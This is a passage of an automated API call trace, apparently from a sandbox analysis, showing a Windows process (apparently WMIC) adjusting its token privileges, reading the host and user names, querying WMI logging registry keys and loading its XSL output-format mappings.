0xffffffff [0171.261] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x43f884 | out: TokenHandle=0x43f884*=0x1a0) returned 1 [0171.261] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x43f880 | out: TokenInformation=0x0, ReturnLength=0x43f880) returned 0 [0171.261] malloc (_Size=0x118) returned 0x752598 [0171.262] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x3, TokenInformation=0x752598, TokenInformationLength=0x118, ReturnLength=0x43f880 | out: TokenInformation=0x752598, ReturnLength=0x43f880) returned 1 [0171.262] AdjustTokenPrivileges (in: TokenHandle=0x1a0, DisableAllPrivileges=0, NewState=0x752598*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0171.262] free (_Block=0x752598) [0171.262] CloseHandle (hObject=0x1a0) returned 1 [0171.262] malloc (_Size=0x40) returned 0x752598 [0171.262] malloc (_Size=0x40) returned 0x7525e0 [0171.262] malloc (_Size=0x40) returned 0x752628 [0171.262] SetThreadUILanguage (LangId=0x0) returned 0x3f0409 [0171.648] _vsnwprintf (in: _Buffer=0x752628, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x43f80c | out: _Buffer="ms_409") returned 6 [0171.648] malloc (_Size=0x20) returned 0x752670 [0171.649] GetComputerNameW (in: lpBuffer=0x752670, nSize=0x43f870 | out: lpBuffer="NQDPDE", nSize=0x43f870) returned 1 [0171.649] lstrlenW (lpString="NQDPDE") returned 6 [0171.649] malloc (_Size=0xe) returned 0x7511d8 [0171.649] lstrlenW (lpString="NQDPDE") returned 6 [0171.649] ResolveDelayLoadedAPI () returned 0x7444db00 [0171.649] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x43f884 | out: lpNameBuffer=0x0, nSize=0x43f884) returned 0x3fc000 [0171.652] GetLastError () returned 0xea [0171.652] malloc (_Size=0x1e) returned 0x752698 [0171.652] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x752698, nSize=0x43f884 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x43f884) returned 0x1 [0171.652] lstrlenW (lpString="") returned 0 [0171.652] lstrlenW (lpString="NQDPDE") returned 6 [0171.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0171.654] lstrlenW (lpString=".") returned 1 [0171.654] lstrlenW (lpString="NQDPDE") returned 6 [0171.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0171.654] lstrlenW (lpString="LOCALHOST") returned 9 [0171.654] lstrlenW (lpString="NQDPDE") returned 6 [0171.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0171.654] lstrlenW (lpString="NQDPDE") returned 6 [0171.654] lstrlenW (lpString="NQDPDE") returned 6 [0171.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0171.654] free (_Block=0x7511d8) [0171.654] lstrlenW (lpString="NQDPDE") returned 6 [0171.654] malloc (_Size=0xe) returned 0x7511d8 [0171.655] lstrlenW (lpString="NQDPDE") returned 6 [0171.655] lstrlenW (lpString="NQDPDE") returned 6 [0171.655] malloc (_Size=0xe) returned 0x7526c0 [0171.655] lstrlenW (lpString="NQDPDE") returned 6 [0171.655] malloc (_Size=0x4) returned 0x7526d8 [0171.655] malloc (_Size=0xc) returned 0x7526e8 [0171.655] ResolveDelayLoadedAPI () returned 0x7745b870 [0171.799] malloc (_Size=0x18) returned 0x752700 [0171.800] malloc (_Size=0xc) returned 0x752720 [0171.800] SysStringLen (param_1="IDENTIFY") returned 0x8 [0171.800] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0171.800] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0171.800] SysStringLen (param_1="IDENTIFY") returned 0x8 [0171.800] malloc (_Size=0x18) returned 0x752738 [0171.800] malloc (_Size=0xc) returned 0x752758 [0171.800] SysStringLen (param_1="IMPERSONATE") returned 0xb [0171.800] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0171.800] SysStringLen (param_1="IMPERSONATE") returned 0xb [0171.800] SysStringLen (param_1="IDENTIFY") returned 0x8 [0171.800] SysStringLen (param_1="IDENTIFY") returned 0x8 [0171.800] SysStringLen (param_1="IMPERSONATE") returned 0xb [0171.800] malloc (_Size=0x18) returned 0x752770 [0171.800] malloc (_Size=0xc) returned 0x752790 [0171.800] SysStringLen (param_1="DELEGATE") returned 0x8 [0171.800] SysStringLen (param_1="IDENTIFY") returned 0x8 [0171.800] SysStringLen (param_1="DELEGATE") returned 0x8 [0171.800] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0171.800] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0171.800] SysStringLen (param_1="DELEGATE") returned 0x8 [0171.800] malloc (_Size=0x18) returned 0x7527a8 [0171.800] malloc (_Size=0xc) returned 0x7527c8 [0171.800] malloc (_Size=0x18) returned 0x7527e0 [0171.800] malloc (_Size=0xc) returned 0x752800 [0171.800] SysStringLen (param_1="NONE") returned 0x4 [0171.800] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.800] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.800] SysStringLen (param_1="NONE") returned 0x4 [0171.800] malloc (_Size=0x18) returned 0x752818 [0171.800] malloc (_Size=0xc) returned 0x752838 [0171.800] SysStringLen (param_1="CONNECT") returned 0x7 [0171.800] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.800] malloc (_Size=0x18) returned 0x752850 [0171.801] malloc (_Size=0xc) returned 0x752870 [0171.801] SysStringLen (param_1="CALL") returned 0x4 [0171.801] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.801] SysStringLen (param_1="CALL") returned 0x4 [0171.801] SysStringLen (param_1="CONNECT") returned 0x7 [0171.801] malloc (_Size=0x18) returned 0x752888 [0171.801] malloc (_Size=0xc) returned 0x7504a0 [0171.801] SysStringLen (param_1="PKT") returned 0x3 [0171.801] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.801] SysStringLen (param_1="PKT") returned 0x3 [0171.801] SysStringLen (param_1="NONE") returned 0x4 [0171.801] SysStringLen (param_1="NONE") returned 0x4 [0171.801] SysStringLen (param_1="PKT") returned 0x3 [0171.801] malloc (_Size=0x18) returned 0x7504b8 [0171.801] malloc (_Size=0xc) returned 0x7504d8 [0171.802] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0171.802] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.802] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0171.802] SysStringLen (param_1="NONE") returned 0x4 [0171.802] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0171.802] SysStringLen (param_1="PKT") returned 0x3 [0171.802] SysStringLen (param_1="PKT") returned 0x3 [0171.802] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0171.802] malloc (_Size=0x18) returned 0x752c10 [0171.802] malloc (_Size=0xc) returned 0x7504f0 [0171.802] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0171.802] SysStringLen (param_1="DEFAULT") returned 0x7 [0171.802] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0171.802] SysStringLen (param_1="PKT") returned 0x3 [0171.802] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0171.802] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0171.802] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0171.802] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0171.802] malloc (_Size=0x18) returned 0x752b10 [0171.802] malloc (_Size=0x40) returned 0x750508 [0171.802] malloc (_Size=0x20a) returned 0x759598 [0171.802] GetSystemDirectoryW (in: lpBuffer=0x759598, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0171.802] free (_Block=0x759598) [0171.802] malloc (_Size=0xc) returned 0x750550 [0171.802] malloc (_Size=0xc) returned 0x750568 [0171.802] malloc (_Size=0xc) returned 0x7596b0 [0171.802] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0171.802] SysStringLen (param_1="\\wbem\\") returned 0x6 [0171.803] free (_Block=0x750550) [0171.803] free (_Block=0x750568) [0171.803] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0171.803] free (_Block=0x7596b0) [0171.803] malloc (_Size=0xc) returned 0x7595f0 [0171.803] malloc (_Size=0xc) returned 0x759638 [0171.803] malloc (_Size=0xc) returned 0x7596f8 [0171.803] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0171.803] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0171.803] free (_Block=0x7595f0) [0171.803] free (_Block=0x759638) [0171.803] GetCurrentThreadId () returned 0x1340 [0171.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x43f394 | out: phkResult=0x43f394*=0x1ac) returned 0x0 [0171.803] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x43f3a0, lpcbData=0x43f39c*=0x400 | out: lpType=0x0, lpData=0x43f3a0*=0x30, lpcbData=0x43f39c*=0x4) returned 0x0 [0171.803] _wcsicmp (_String1="0", _String2="1") returned -1 [0171.803] _wcsicmp (_String1="0", _String2="2") returned -2 [0171.803] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x43f39c*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x43f39c*=0x42) returned 0x0 [0171.803] malloc (_Size=0x86) returned 0x752cb0 [0171.804] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x752cb0, lpcbData=0x43f39c*=0x42 | out: lpType=0x0, lpData=0x752cb0*=0x25, lpcbData=0x43f39c*=0x42) returned 0x0 [0171.804] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0171.804] malloc (_Size=0x42) returned 0x750550 [0171.804] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0171.804] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x43f3a0, lpcbData=0x43f39c*=0x400 | out: lpType=0x0, lpData=0x43f3a0*=0x36, lpcbData=0x43f39c*=0xc) returned 0x0 [0171.804] _wtol (_String="65536") returned 65536 [0171.804] free (_Block=0x752cb0) [0171.804] RegCloseKey (hKey=0x0) returned 0x6 [0171.804] CoCreateInstance (in: rclsid=0x1296ad4*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1296ae4*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x43f830 | out: ppv=0x43f830*=0xd845a8) returned 0x0 [0172.393] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0xd845a8, xmlSource=0x43f7b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x43f81c | out: isSuccessful=0x43f81c*=0xffff) returned 0x0 [0174.215] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0xd845a8, DOMElement=0x43f82c | out: DOMElement=0x43f82c) returned 0x0 [0174.216] malloc (_Size=0xc) returned 0x7596b0 [0174.217] free (_Block=0x7596b0) [0174.217] malloc (_Size=0xc) returned 0x7596b0 [0174.217] free (_Block=0x7596b0) [0174.218] malloc (_Size=0xc) returned 0x759698 [0174.218] malloc (_Size=0xc) returned 0x759740 [0174.218] malloc (_Size=0x18) returned 0x752a30 [0174.218] malloc (_Size=0xc) returned 0x7596e0 [0174.219] free (_Block=0x7596e0) [0174.219] malloc (_Size=0xc) returned 0x759728 [0174.219] malloc (_Size=0xc) returned 0x7596e0 [0174.219] SysStringLen (param_1="VALUE") returned 0x5 [0174.219] SysStringLen (param_1="TABLE") returned 0x5 [0174.219] SysStringLen (param_1="TABLE") returned 0x5 [0174.219] SysStringLen (param_1="VALUE") returned 0x5 [0174.219] malloc (_Size=0x18) returned 0x7528f0 [0174.219] malloc (_Size=0xc) returned 0x759788 [0174.219] free (_Block=0x759788) [0174.220] malloc (_Size=0xc) returned 0x759758 [0174.220] malloc (_Size=0xc) returned 0x7596c8 [0174.220] SysStringLen (param_1="LIST") returned 0x4 [0174.220] SysStringLen (param_1="TABLE") returned 0x5 [0174.220] malloc (_Size=0x18) returned 0x752bd0 [0174.220] malloc (_Size=0xc) returned 0x759770 [0174.220] free (_Block=0x759770) [0174.220] malloc (_Size=0xc) returned 0x759788 [0174.220] malloc (_Size=0xc) returned 0x7596b0 [0174.221] SysStringLen (param_1="RAWXML") returned 0x6 [0174.221] SysStringLen (param_1="TABLE") returned 0x5 [0174.221] SysStringLen (param_1="RAWXML") returned 0x6 [0174.221] SysStringLen (param_1="LIST") returned 0x4 [0174.221] SysStringLen (param_1="LIST") returned 0x4 [0174.221] SysStringLen (param_1="RAWXML") returned 0x6 [0174.221] malloc (_Size=0x18) returned 0x752ad0 [0174.221] malloc (_Size=0xc) returned 0x759668 [0174.221] free (_Block=0x759668) [0174.221] malloc (_Size=0xc) returned 0x759710 [0174.221] malloc (_Size=0xc) returned 0x7595f0 [0174.221] SysStringLen (param_1="HTABLE") returned 0x6 [0174.221] SysStringLen (param_1="TABLE") returned 0x5 [0174.222] SysStringLen (param_1="HTABLE") returned 0x6 [0174.222] SysStringLen (param_1="LIST") returned 0x4 [0174.222] malloc (_Size=0x18) returned 0x752c90 [0174.222] malloc (_Size=0xc) returned 0x759770 [0174.222] free (_Block=0x759770) [0174.222] malloc (_Size=0xc) returned 0x759680 [0174.222] malloc (_Size=0xc) returned 0x759770 [0174.222] SysStringLen (param_1="HFORM") returned 0x5 [0174.222] SysStringLen (param_1="TABLE") returned 0x5 [0174.222] SysStringLen (param_1="HFORM") returned 0x5 [0174.222] SysStringLen (param_1="LIST") returned 0x4 [0174.222] SysStringLen (param_1="HFORM") returned 0x5 [0174.222] SysStringLen (param_1="HTABLE") returned 0x6 [0174.223] malloc (_Size=0x18) returned 0x752b70 [0174.223] malloc (_Size=0xc) returned 0x7595c0 [0174.223] free (_Block=0x7595c0) [0174.223] malloc (_Size=0xc) returned 0x7595c0 [0174.223] malloc (_Size=0xc) returned 0x7595d8 [0174.223] SysStringLen (param_1="XML") returned 0x3 [0174.223] SysStringLen (param_1="TABLE") returned 0x5 [0174.223] SysStringLen (param_1="XML") returned 0x3 [0174.223] SysStringLen (param_1="VALUE") returned 0x5 [0174.223] SysStringLen (param_1="VALUE") returned 0x5 [0174.223] SysStringLen (param_1="XML") returned 0x3 [0174.223] malloc (_Size=0x18) returned 0x752a90 [0174.224] malloc (_Size=0xc) returned 0x759620 [0174.224] free (_Block=0x759620) [0174.224] malloc (_Size=0xc) returned 0x759608 [0174.224] malloc (_Size=0xc) returned 0x759620 [0174.224] SysStringLen (param_1="MOF") returned 0x3 [0174.224] SysStringLen (param_1="TABLE") returned 0x5 [0174.224] SysStringLen (param_1="MOF") returned 0x3 [0174.224] SysStringLen (param_1="LIST") returned 0x4 [0174.224] SysStringLen (param_1="MOF") returned 0x3 [0174.224] SysStringLen (param_1="RAWXML") returned 0x6 [0174.224] SysStringLen (param_1="LIST") returned 0x4 [0174.224] SysStringLen (param_1="MOF") returned 0x3 [0174.224] malloc (_Size=0x18) returned 0x752af0 [0174.225] malloc (_Size=0xc) returned 0x759638 [0174.225] free (_Block=0x759638) [0174.225] malloc (_Size=0xc) returned 0x759638 [0174.225] malloc (_Size=0xc) returned 0x759650 [0174.225] SysStringLen (param_1="CSV") returned 0x3 [0174.225] SysStringLen (param_1="TABLE") returned 0x5 [0174.225] SysStringLen (param_1="CSV") returned 0x3 [0174.225] SysStringLen (param_1="LIST") returned 0x4 [0174.225] SysStringLen (param_1="CSV") returned 0x3 [0174.225] SysStringLen (param_1="HTABLE") returned 0x6 [0174.225] SysStringLen (param_1="CSV") returned 0x3 [0174.225] SysStringLen (param_1="HFORM") returned 0x5 [0174.225] malloc (_Size=0x18) returned 0x7529d0 [0174.226] malloc (_Size=0xc) returned 0x759668 [0174.226] free (_Block=0x759668) [0174.226] malloc (_Size=0xc) returned 0x759668 [0174.226] malloc (_Size=0xc) returned 0x75a9b0 [0174.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.226] SysStringLen (param_1="TABLE") returned 0x5 [0174.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.226] SysStringLen (param_1="VALUE") returned 0x5 [0174.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.226] SysStringLen (param_1="XML") returned 0x3 [0174.226] SysStringLen (param_1="XML") returned 0x3 [0174.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.226] malloc (_Size=0x18) returned 0x7528d0 [0174.227] malloc (_Size=0xc) returned 0x75a980 [0174.227] free (_Block=0x75a980) [0174.227] malloc (_Size=0xc) returned 0x75a9e0 [0174.227] malloc (_Size=0xc) returned 0x75abd8 [0174.227] SysStringLen (param_1="texttablewsys") returned 0xd [0174.227] SysStringLen (param_1="TABLE") returned 0x5 [0174.227] SysStringLen (param_1="texttablewsys") returned 0xd [0174.227] SysStringLen (param_1="XML") returned 0x3 [0174.227] SysStringLen (param_1="texttablewsys") returned 0xd [0174.227] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.227] SysStringLen (param_1="XML") returned 0x3 [0174.227] SysStringLen (param_1="texttablewsys") returned 0xd [0174.227] malloc (_Size=0x18) returned 0x752930 [0174.228] malloc (_Size=0xc) returned 0x75aad0 [0174.228] free (_Block=0x75aad0) [0174.228] malloc (_Size=0xc) returned 0x75ac08 [0174.228] malloc (_Size=0xc) returned 0x75a950 [0174.228] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.228] SysStringLen (param_1="TABLE") returned 0x5 [0174.228] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.228] SysStringLen (param_1="XML") returned 0x3 [0174.228] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.228] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.228] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.228] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.228] malloc (_Size=0x18) returned 0x752a70 [0174.229] malloc (_Size=0xc) returned 0x75abc0 [0174.229] free (_Block=0x75abc0) [0174.229] malloc (_Size=0xc) returned 0x75aa70 [0174.229] malloc (_Size=0xc) returned 0x75ab90 [0174.229] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.229] SysStringLen (param_1="TABLE") returned 0x5 [0174.229] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.229] SysStringLen (param_1="XML") returned 0x3 [0174.229] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.229] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.229] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.229] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.229] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.230] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.230] malloc (_Size=0x18) returned 0x752a50 [0174.230] malloc (_Size=0xc) returned 0x75abc0 [0174.230] free (_Block=0x75abc0) [0174.230] malloc (_Size=0xc) returned 0x75a998 [0174.230] malloc (_Size=0xc) returned 0x75ab60 [0174.230] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.230] SysStringLen (param_1="TABLE") returned 0x5 [0174.230] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.230] SysStringLen (param_1="XML") returned 0x3 [0174.230] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.230] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.231] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.231] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.231] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.231] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.231] malloc (_Size=0x18) returned 0x752a10 [0174.231] malloc (_Size=0xc) returned 0x75ab30 [0174.231] free (_Block=0x75ab30) [0174.231] malloc (_Size=0xc) returned 0x75a980 [0174.231] malloc (_Size=0xc) returned 0x75ab78 [0174.231] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.231] SysStringLen (param_1="TABLE") returned 0x5 [0174.231] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.231] SysStringLen (param_1="XML") returned 0x3 [0174.232] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.232] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.232] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.232] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.232] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.232] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.232] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.232] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0174.232] malloc (_Size=0x18) returned 0x752910 [0174.232] malloc (_Size=0xc) returned 0x75aab8 [0174.232] free (_Block=0x75aab8) [0174.232] malloc (_Size=0xc) returned 0x75ab00 [0174.232] malloc (_Size=0xc) returned 0x75ac20 [0174.233] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.233] SysStringLen (param_1="TABLE") returned 0x5 [0174.233] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.233] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.233] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.233] SysStringLen (param_1="XML") returned 0x3 [0174.233] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.233] SysStringLen (param_1="texttablewsys") returned 0xd [0174.233] SysStringLen (param_1="XML") returned 0x3 [0174.233] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.233] malloc (_Size=0x18) returned 0x752ab0 [0174.233] malloc (_Size=0xc) returned 0x75aad0 [0174.233] free (_Block=0x75aad0) [0174.233] malloc (_Size=0xc) returned 0x75aa88 [0174.234] malloc (_Size=0xc) returned 0x75ab48 [0174.234] SysStringLen (param_1="htable-sortby") returned 0xd [0174.234] SysStringLen (param_1="TABLE") returned 0x5 [0174.234] SysStringLen (param_1="htable-sortby") returned 0xd [0174.234] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.234] SysStringLen (param_1="htable-sortby") returned 0xd [0174.369] SysStringLen (param_1="XML") returned 0x3 [0174.369] SysStringLen (param_1="htable-sortby") returned 0xd [0174.370] SysStringLen (param_1="texttablewsys") returned 0xd [0174.370] SysStringLen (param_1="htable-sortby") returned 0xd [0174.370] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0174.370] SysStringLen (param_1="XML") returned 0x3 [0174.370] SysStringLen (param_1="htable-sortby") returned 0xd [0174.370] malloc (_Size=0x18) returned 0x752c30 [0174.370] malloc (_Size=0xc) returned 0x75aba8 [0174.370] free (_Block=0x75aba8) [0174.370] malloc (_Size=0xc) returned 0x75a938 [0174.370] malloc (_Size=0xc) returned 0x75aa58 [0174.371] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.371] SysStringLen (param_1="TABLE") returned 0x5 [0174.371] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.371] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.371] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.371] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.371] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.371] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.371] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.372] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.372] malloc (_Size=0x18) returned 0x752950 [0174.372] malloc (_Size=0xc) returned 0x75aa10 [0174.372] free (_Block=0x75aa10) [0174.372] malloc (_Size=0xc) returned 0x75a9c8 [0174.372] malloc (_Size=0xc) returned 0x75aba8 [0174.372] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.372] SysStringLen (param_1="TABLE") returned 0x5 [0174.372] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.373] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.373] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.373] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.373] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.373] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0174.373] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.373] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0174.373] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.373] SysStringLen (param_1="wmiclimofformat") returned 0xf [0174.373] malloc (_Size=0x18) returned 0x752970 [0174.373] malloc (_Size=0xc) returned 0x75abc0 [0174.373] free (_Block=0x75abc0) [0174.373] malloc (_Size=0xc) returned 0x75ab30 [0174.374] malloc (_Size=0xc) returned 0x75a9f8 [0174.374] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.374] SysStringLen (param_1="TABLE") returned 0x5 [0174.374] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.374] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.374] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.374] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.374] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.374] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.374] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.374] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.374] malloc (_Size=0x18) returned 0x752990 [0174.374] malloc (_Size=0xc) returned 0x75abf0 [0174.375] free (_Block=0x75abf0) [0174.375] malloc (_Size=0xc) returned 0x75abc0 [0174.375] malloc (_Size=0xc) returned 0x75aaa0 [0174.375] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.375] SysStringLen (param_1="TABLE") returned 0x5 [0174.375] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.375] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0174.375] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.375] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0174.375] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.375] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0174.375] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0174.375] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0174.375] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a 